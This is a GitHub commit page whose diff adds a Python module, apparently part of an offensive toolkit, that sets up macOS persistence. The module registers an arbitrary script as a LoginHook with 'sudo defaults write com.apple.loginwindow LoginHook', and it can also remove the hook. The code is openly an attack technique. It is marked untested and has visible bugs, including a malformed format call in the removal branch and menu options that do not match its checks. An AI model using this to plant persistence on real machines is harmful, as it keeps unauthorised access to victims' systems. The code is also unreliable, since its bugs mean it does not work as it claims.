-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add crontab persistence and LoginHook persistence (#29)
* Add crontab persistence #17 * Shorten URL * Add LoginHook persistence method * Add comment for removal
- Loading branch information
Showing
2 changed files
with
50 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
# This approach is explained in Patrick Wardle's "Methods of Malware | ||
# Persistence on macOS" paper on page 18. | ||
# | ||
# NOTE: Untested. | ||
|
||
|
||
import os | ||
import sys | ||
sys.path.insert(0, "../..") | ||
from utils.print import * | ||
from utils.utils import choice | ||
|
||
|
||
def main(): | ||
action = choice("Establish persistence or remove persistence?", [" Establish", " Remove"]) | ||
|
||
if action == "establish": | ||
print_blue("Establishing macOS persistence with LoginHook") | ||
command = "sudo defaults write com.apple.loginwindow LoginHook" | ||
path = input("Enter the path of a script you'd like to run on login.") | ||
if not os.path.isfile(path): | ||
print_red("ERROR: {} is not a file.".format(path)) | ||
sys.exit(1) | ||
|
||
# TODO: Print stdout, stderr | ||
run_cmd("{} {}".format(command, path)) | ||
print_green("Persistence established.") | ||
elif action == "remove": | ||
print_blue("Removing macOS persistence with LoginHook") | ||
command = "sudo defaults delete com.apple.loginwindow LoginHook" | ||
# TODO: Print stdout, stderr | ||
run_cmd("{} {}".format(command)) | ||
print_green("Persistence removed.") | ||
|
||
|
||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters